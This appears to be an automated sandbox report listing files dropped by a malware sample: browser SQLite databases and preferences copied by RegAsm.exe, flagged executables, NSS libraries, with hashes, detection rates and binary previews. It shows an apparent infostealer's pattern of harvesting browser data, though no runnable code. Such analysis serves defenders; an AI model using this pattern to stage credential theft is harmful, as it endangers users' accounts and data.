File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\KKFBFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DSound High Level lib 9.18.45\DSound High Level lib 9.18.45.exe

Download File

Process:	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2433024
Entropy (8bit):	6.94694654252064
Encrypted:	false
SSDEEP:	49152:ckT0cr4juZ1zZFpnqW78HW8piH6uG8ijx+:N0cr4QZFpqW78HW8cHJ
MD5:	33CF6AAAFE24470F75EA87BBB8E1A8D3
SHA1:	E18B36D75272E519FBE42AB5A0D9A892354A40AD
SHA-256:	924A88E39111BE68266B1702ED0CBAF7219B6B25EDF72AC5EA9A9367BD14B4BB
SHA-512:	264E67E3904E9AEA90B82C41F9ACDD5CF20B303270FAD7F88E66EC0ECE7FF86452AC393B8997AAD0B988C22D182AB6C2D4FE47B5A8035A3FF17B68A82963997A
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 29%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@m.L.................."..........r"......."...@..........................P%......N%.......................................".@.....#.p............................................................................."..............................text...J.".......".................`....rdata...D...."..P....".............@..@.data...XT... #..0... #.............@....rsrc.........#......P#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGCFBGCBFHJECBGDAKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\ECGDHDHJEBGHJKFIECBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIJEBGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKJDGCGDA.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	299936
Entropy (8bit):	7.981206148706914
Encrypted:	false
SSDEEP:	6144:V58+UTYNUsagLAxjDbXxw0HVmjE+IPgkeHeNQZzgSEO:1UTqUsJLunxDVm9IIVOw0SEO
MD5:	A714209DB1B2B68A95E680DF111922ED
SHA1:	5533ED29BF3239839E6ACF03965CF27DDF4F4138
SHA-256:	7AD095DE4171DFB3458752E1F4406B726EA94327E529FD83E2189B8C04FFEE86
SHA-512:	25CE432979995987A26E9442C2C9AC026D55FF9F4820D983AB30496D28A75DEC508C4083B11A2433F5BC3C2F903828ED2849AA5542FC7DE84394B44A29FBCF55
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37% Antivirus: Virustotal, Detection: 45%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Ls.f.................:..........nX... ...`....@.. ....................................`..................................X..W....`..............xm..(&...........V............................................... ............... ..H............text...t8... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................PX......H....... I...................................................................2..W.[j..x.x}.<6.?..Y-.W..O...Z......M5"..._.v.p.r.{.'....$.cE..D.Z.-S..J.nJK..}RP.D..Z.....Bx....?...A.!.;1..Id..L..@..hj.`2q.H..a..6.T...w.D.CF.......E.szL...Xk.y.....1I....IZd.A..A.L......B.....u.).......kM..O+...am.F\.L.FA..y....(.K.@..J^A$..6q.@.....v}DOR...I......1..4.\y...?.u].IW.Q..i...$\..~$...Ao...v.;L\.K&vh..0..."Ck....%.S...z...W.....L.j.b.$`1q-...thB..!..Y...ZY.

C:\ProgramData\FCAECAKKFBGCBGDGIEHCBKJJJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIIEHJKKECGCBFIIJDAKFHJKJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIDHJKFBGI.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	360864
Entropy (8bit):	7.985939069058878
Encrypted:	false
SSDEEP:	6144:fb/Klz1yq1ry/FkGD9fc9f59Dt80k33KcP0QMVcQr4MvaXA3twkZ7X7ZEO:fb2+iGDQntTk3a20QM2K4KqAdX7ZEO
MD5:	6F4A0AE013610785AD54438F4AF26F1A
SHA1:	C8FF55002963DDE8457DB2B11F68E67A070DDB21
SHA-256:	CCB16A2E8B58BE824D838D5607ECD4B07123DE87F9FE9E42E64507D77B0F374D
SHA-512:	6F3A30E8EE4FF36CFAAC09BFE1272ED4678783C4628DD82E47DD1EF23D4A8EF1C153A9A4E8951CB38B4C7A833F2BC744DBCC7DAC1E550B2F44FFADC8181D8EE3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37% Antivirus: Virustotal, Detection: 45%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."s.f.................(..........nF... ...`....@.. ....................................`..................................F..W....`..............x[..(&...........D............................................... ............... ..H............text...t&... ...(.................. ..`.rsrc........`.....................@..@.reloc...............0..............@..B................PF......H....... 7..............................................................rZ.pLj..5XEY..;...\|..<}......\@..\kDV.2/.i.b.A...9/f..:.Y......M...v.s........>..f..Q~1!..:IS.....k...3.6..u8...M3.::F>..R.`.\...!1R...g..yR.u;.....#Q.C.e.....-.k.;W.l..{.......I.K..S...Z.{...&z.K./..3.$M\gL.S....-].L....u9...k..':......G9.qRbZ@.,...#..oZX...U@%C..^N.i.n..>x;.L...`/2'.a~q..Z....B$...e.h.......Sy.....}}......}W....F..(.\|{.`3..-..p>>M.3..x8...T..NK.j.s."..hK..`....oi.V.,.3

C:\ProgramData\KEGCFCAKFHCGCBFHCGHDBGIJJD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKEHDBAEGIIIEBGCAAFHIDHDBF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706720521102161
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqE:2JIB/wUKUKQncEmYRTwh0w
MD5:	3FE95FB580EFE66DF737404A4D64DAC6
SHA1:	B05DCFB6FF1C1807B6962F83661C89EB733CB824
SHA-256:	C686E1048FD2CFBD5FF1AB45FC55DDD952F9A194E0FCF4AF8405408B5109466F
SHA-512:	F1716E7B92AE683742C7DD2C60B9E3E0C70D56F8218AAFEEA46C5170E88FF58765B810C610EDF04E9B6678D6D4F4E8049AF3B5C4C1E9E7269010C673EF0E295C
Malicious:	false
Reputation:	unknown
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0eb39f4c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900080437749583
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:jazaPvgurTd42UgSii
MD5:	D8539F5C8A2456C4AF8A5383F6B9B427
SHA1:	CCECD483A2AE6F0FC64BBB5468BDEBCA294E1581
SHA-256:	84392E0CF7E1D88FEA226CE1553A47D0B0FEB026BE98BFE67EEAD617FEBDB937
SHA-512:	037E69E6FA3CAD9C35FF2B7EBF480BBA6440CE45BBF24B821B720F13BC689CE5907EAA2859F0FEB96019E7B6968A5156F247E352A8455A69D134D33B3F1E57B8
Malicious:	false
Reputation:	unknown
Preview:	...L... ...............X\...;...{......................0.`.....42...{5../...\|..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................S.../...\|..................`..../...\|...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08212417492896706
Encrypted:	false
SSDEEP:	3:PWlyYefIStyg1t/57Dek3J5XocZsZt/ollEqW3l/TjzzQ/t:Piyzf6gHR3t5XooiAmd8/
MD5:	456FCEDC961BAFD77517C44526FF1A42
SHA1:	B48C4364470165C78E2E8E1192469EEE8DA77739
SHA-256:	11B82908580B7888BD270329F0098158FCE265B75B6FC8E5953C0007CFE2DD05
SHA-512:	CB07916AA48F1B984830D34C375956222BDC72B757E5DDBF0C33134418186FDCCA5220596608EC5295E36843534308A7354847542344D9B5387B515B8F7137C9
Malicious:	false
Reputation:	unknown
Preview:	.."......................................;...{.../...\|..42...{5.........42...{5.42...{5...Y.42...{59................`..../...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	697182
Entropy (8bit):	5.235610424285971
Encrypted:	false
SSDEEP:	12288:TBXiKZWAAllNJheaP7Qata8EtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDph10:k+
MD5:	FEB23DA97D62EBB5D16E93A50DA35D1C
SHA1:	5BDB0DC8D30B5886ACFB7CD19AAF83E52C779F3B
SHA-256:	7D9C02E71F119AA129B6103E0184F61D137B3723572DC7B3BD6D77CE41C03203
SHA-512:	1258C5EE55000D132C70AFCA45373EFEEE8966B937C67772A1B578FA38F0BAB30B711775A1251846B968F293533F7EA8B321671D26F6A2796B9FD42C13227DC8
Malicious:	false
Reputation:	unknown
Preview:	...... 9.V.Hd.O.]P..m.2v.oj...gAR6c$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	697182
Entropy (8bit):	5.235610424285971
Encrypted:	false
SSDEEP:	12288:TBXiKZWAAllNJheaP7Qata8EtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDph10:k+
MD5:	FEB23DA97D62EBB5D16E93A50DA35D1C
SHA1:	5BDB0DC8D30B5886ACFB7CD19AAF83E52C779F3B
SHA-256:	7D9C02E71F119AA129B6103E0184F61D137B3723572DC7B3BD6D77CE41C03203
SHA-512:	1258C5EE55000D132C70AFCA45373EFEEE8966B937C67772A1B578FA38F0BAB30B711775A1251846B968F293533F7EA8B321671D26F6A2796B9FD42C13227DC8
Malicious:	false
Reputation:	unknown
Preview:	...... 9.V.Hd.O.]P..m.2v.oj...gAR6c$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\ds918it45.dat

Download File

Process:	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe
File Type:	ISO-8859 text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:x/n:Z
MD5:	B24015547759194B0A293FD400B6B093
SHA1:	E48C8E84B6F4F8EB8BB338304E9B8178D7D23E3F
SHA-256:	3D24F5FB1AD6C1DF1FEDFD0A622D752D03F63BFB1595F1C70F41D0A2D1359D62
SHA-512:	59A7EAFC63F7A7DA63807199D2EE4AE709CCF331DD408D43FAD086943C06E329B4DAB0EF0650115C148AE143F32FC27D05C360659A84AF761F70DB3EB2DEDB4E
Malicious:	false
Reputation:	unknown
Preview:	..f....

C:\ProgramData\ds918rc45.dat

Download File

Process:	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:Tln:p
MD5:	122D64C962F3323E5CF08FAC530E8D79
SHA1:	451CD837EE4D007D297B9EE67FCC2C6DD18A8536
SHA-256:	FA802ED35611D044B14E2D95CE6619C2051B5C0D6645459658E1D67FA0AF07C7
SHA-512:	BAF563DB564D0C14CF4DA50C27B4A1647AD8002A984CBBC3EEFCEDB3881C5352E4259E5D8E0138F0EBA610FB12585D766095D632FA6D22E5C6FCCE61FB7BAEA4
Malicious:	false
Reputation:	unknown
Preview:	>...

C:\ProgramData\ds918resa.dat

Download File

Process:	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9545817380615236
Encrypted:	false
SSDEEP:	3:SmwW3Fde9UUDrjStGs/:Smze7DPStGM
MD5:	98DDA7FC0B3E548B68DE836D333D1539
SHA1:	D0CB784FA2BBD3BDE2BA4400211C3B613638F1C6
SHA-256:	870555CDCBA1F066D893554731AE99A21AE776D41BCB680CBD6510CB9F420E3D
SHA-512:	E79BD8C2E0426DBEBA8AC2350DA66DC0413F79860611A05210905506FEF8B80A60BB7E76546B0CE9C6E6BC9DDD4BC66FF4C438548F26187EAAF6278F769B3AC1
Malicious:	false
Reputation:	unknown
Preview:	30ea4c433b26b5bea4193c311bc4a25098960f3df7dbf2a6175bf7d152ea71ca................................................................

C:\ProgramData\ds918resb.dat

Download File

Process:	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	1.764403124459133
Encrypted:	false
SSDEEP:	3:lkW9XRDyV6uPlt:GNVb
MD5:	3FE39202D0EA9BF85BB8E576437B738F
SHA1:	8F33D94EE351C242F04B5852F2CAA2BFEA2666B0
SHA-256:	52782F256FD8006794309283DEDDE7DD5A99D0A9EB164CEB2BA777F8CAAFF58D
SHA-512:	7B3E4A39540E52DCBED92634ECC8052F76855C49E5AA47E33E056C32E448F6CEBEB97DB260706549478168BA9A29A1FA17EB83F7C927619176B2AFEB66050993
Malicious:	false
Reputation:	unknown
Preview:	dad6fcfc139a3022480fb7005f313e65................................................................................................

C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11496960
Entropy (8bit):	7.95681767955623
Encrypted:	false
SSDEEP:	196608:0GTSo6ARyCFMI19DwkfAuYI8wha0mlCGMbM77RWWuhJzoSpc92tQRqIDfrDap1B6:0GTz6uyCfDwkfAuH8kv477RWXJs59Nqs
MD5:	D60D266E8FBDBD7794653ECF2ABA26ED
SHA1:	469ED7D853D590E90F05BDF77AF114B84C88DE2C
SHA-256:	D4DF1ABA83289161D578336E1B7B6DAF7269BB73ACC92BD9DFA2C262EBC6C4D2
SHA-512:	80DF5D568E34DFC086F546E8D076749E58A7230ED1AA33F3A5C9D966809BECADC9922317095032D6E6A7ECDFBFBCE02A72CC82513AB0D132C5FFA6C07682BD87
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21% Antivirus: Virustotal, Detection: 22%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....+.f..........#.................]p.........@.............................`............ .....................................................<....P......@...`*...........................................F..(.......8............... ............................text...6........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..p.-......................... ..`.text1..X...........................@....text2...`.......b..................`..h.rsrc........P.......h..............@..@........................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
